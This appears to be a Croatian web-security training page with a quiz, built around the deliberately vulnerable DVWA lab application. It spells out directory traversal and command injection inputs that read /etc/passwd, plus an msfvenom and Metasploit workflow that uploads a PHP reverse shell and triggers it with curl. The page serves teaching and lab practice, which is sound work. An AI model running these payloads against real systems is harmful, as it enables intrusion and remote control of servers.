DVWA i web napadi

DVWA (Damn Vulnerable Web Application) je namjerno ranjiva web aplikacija za trening i testiranje web sigurnosnih napada. Dostupna je na:

DVWA pristup

  • URL: http://10.1.16.3/DVWA (ili hostname)
  • Default login: admin / password
  • Security Level: Low / Medium / High / Impossible
  • Low = bez zaštite, idealno za učenje napada

Kategorije ranjivosti u DVWA

  • File Inclusion (LFI / RFI)
  • Command Injection
  • File Upload
  • SQL Injection
  • XSS (Reflected i Stored)
  • CSRF, Brute Force, itd.

Directory Traversal i Command Injection

Directory Traversal

  • Napadač koristi ../ sekvence za izlaz iz dozvoljenog direktorija
  • Primjer u URL-u: ?page=../../../etc/passwd
  • U DVWA File Inclusion: ../../etc/passwd
  • Prikazuje sistemske datoteke kojima aplikacija normalno ne bi smjela pristupiti
  • Known i kao Path Traversal

Command Injection

  • DVWA Ping polje: unesite IP + shell operator + naredba
  • Primjer: 127.0.0.1; whoami
  • Rezultat: www-data (Apache web server korisnik)
  • Alternativni operatori: &&, |, `naredba`
  • ; cat /etc/passwd — čitanje systemskih datoteka
www-data: Kad command injection vrati "www-data", znači da web server (Apache/Nginx) pokreće PHP skriptu pod tim korisnikom. Ovo ograničava napadača na prava www-data korisnika, ali web aplikacija ima pristup web direktorijima i konfiguracijskim datotekama.

File Upload i Metasploit

msfvenom — generiranje payloada

msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=10.1.16.x LPORT=4444 \
  -f raw -o shell.php
  • -p php/meterpreter/reverse_tcp — PHP reverse shell payload
  • LHOST = IP napadačevog računala (listener)
  • LPORT=4444 — port na koji se PHP konektira
  • -f raw — sirovi PHP format
  • -o shell.php — spremi kao PHP datoteku

Metasploit listener i shell

msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 10.1.16.x
set LPORT 4444
run
  • Nakon uploada shell.php u DVWA File Upload
  • Pokreni shell: curl http://server/uploads/shell.php
  • Meterpreter shell otvara se u msfconsole
  • shell → interaktivni OS shell
0 / 14
Odgovori na pitanja da vidiš rezultat.

1. Što je DVWA i za što se koristi?

DVWA = Damn Vulnerable Web Application — namjerno ranjiva PHP/MySQL web aplikacija za učenje web pentestinga u sigurnom, legalnom okruženju. Sadrži kategorije: Command Injection, SQL Injection, XSS, File Upload, CSRF itd.

2. Koje su zadane login vjerodajnice za DVWA?

DVWA default login: admin / password. Ovo je namjerno slaba lozinka — dio koncepta namjerno ranjive aplikacije. U realnim sustavima takve zadane lozinke treba promijeniti odmah nakon instalacije.

3. Što je Directory Traversal napad?

Directory (Path) Traversal = korištenje ../ sekvenci u parametrima za "penjanje" po direktorijima: ../../etc/passwd ide dva direktorija gore od web root-a i čita /etc/passwd. Omogućuje čitanje sistemskih datoteka.

4. U DVWA Command Injection, koji se korisnik vraća naredbom 127.0.0.1; whoami?

Command Injection u DVWA ping polju: 127.0.0.1; whoami izvršava whoami u kontekstu web servera koji je www-data — standardni Linux korisnik pod kojim radi Apache. Ovo znači napadač dobiva pristup s pravima www-data korisnika.

5. Koji shell operator razdvaja dvije naredbe u Command Injection napadu?

; (točka-zarez) razdvaja shell naredbe — druga naredba se izvodi bez obzira na uspjeh prve. Alternativni operatori: && (izvodi drugu samo ako prva uspije), || (samo ako prva ne uspije), | (pipe — prosljeđuje output).

6. Koji msfvenom payload se koristi za PHP reverse shell?

php/meterpreter/reverse_tcp = Metasploit payload koji generira PHP skriptu (web shell) koja, kad se izvrši na web serveru, otvara TCP vezu natrag prema napadačevom listener-u i pruža Meterpreter shell.

7. Što je LHOST parametar u msfvenom naredbi?

LHOST = Local Host — IP adresa napadačevog računala (Listening Host). Reverse shell na žrtvinoj mašini će se konektirati na LHOST:LPORT. RHOST = Remote Host = IP adrese cilja (koristi se za bind shellove).

8. Koji Metasploit modul se koristi za primanje (catching) reverse shell veze?

exploit/multi/handler = Metasploit generički listener koji čeka dolazne reverse shell veze. Konfigurira se s odgovarajućim PAYLOAD, LHOST i LPORT parametrima. Nakon što payload na žrtvi uspostavi vezu, handler pruža Meterpreter sesiju.

9. Koji je format (-f) za msfvenom PHP payload koji se uploadira na web server?

-f raw za PHP payload generira čisti PHP kod (bez dodatnog wrappera). Rezultantna datoteka (.php) je PHP skripta koja se može direktno uploadati i izvršiti na web serveru. ELF je Linux binary, EXE je Windows binary.

10. Koje DVWA Security Level postavke su korektne od najslabije do najjače zaštite?

DVWA sigurnosni nivoi od najslabije do najjače zaštite: Low (nema validacije) → Medium (djelomična zaštita) → High (stroga zaštita, ali još ranjiva) → Impossible (sigurno, serves as reference). Za učenje napada koristimo Low.

11. Koji sistemski fajl na Linuxu često napadači čitaju putem directory traversal napada?

/etc/passwd je klasična meta directory traversal napada — sadrži listu svih korisnika (username, UID, GID, home direktorij, shell). Lozinke su u /etc/shadow. /etc/passwd je čitljiv svim korisnicima, ali samo root može pisati.

12. Što je Meterpreter?

Meterpreter = Metasploit Interpreter — napredni, in-memory post-exploitation payload. Prednosti: ne zapisuje se na disk (AV teže detektira), komunicira enkriptiranim kanalom, podržava extensione, može migrirati između procesa. Naredbe: shell, upload, download, keyscan_start.

13. Kako se file upload ranjivost može iskoristiti za dobivanje command executiona na serveru?

Proces: 1. Kreirati PHP web shell (msfvenom ili ručno napisanu PHP skriptu), 2. Uploadati putem File Upload ranjivosti, 3. Pristupiti URL-u uploadata (npr. /uploads/shell.php) — web server interpretira i izvršava PHP, 4. Shell se pokreće i spaja na listener.

14. Koji je tip ranjivosti kad web aplikacija prihvaća i izvršava OS naredbe koje korisnik unosi u polje za unos?

Command Injection (OS Command Injection) = ranjivost gdje web aplikacija prosljeđuje korisnički unos direktno u sistemsku naredbu bez sanitizacije. OWASP A03:2021 Injection kategorija. Sprečavanje: validacija unosa, whitelist operatora, parametrizirani API-ji.
0 / 14
Riješi kviz da vidiš rezultat.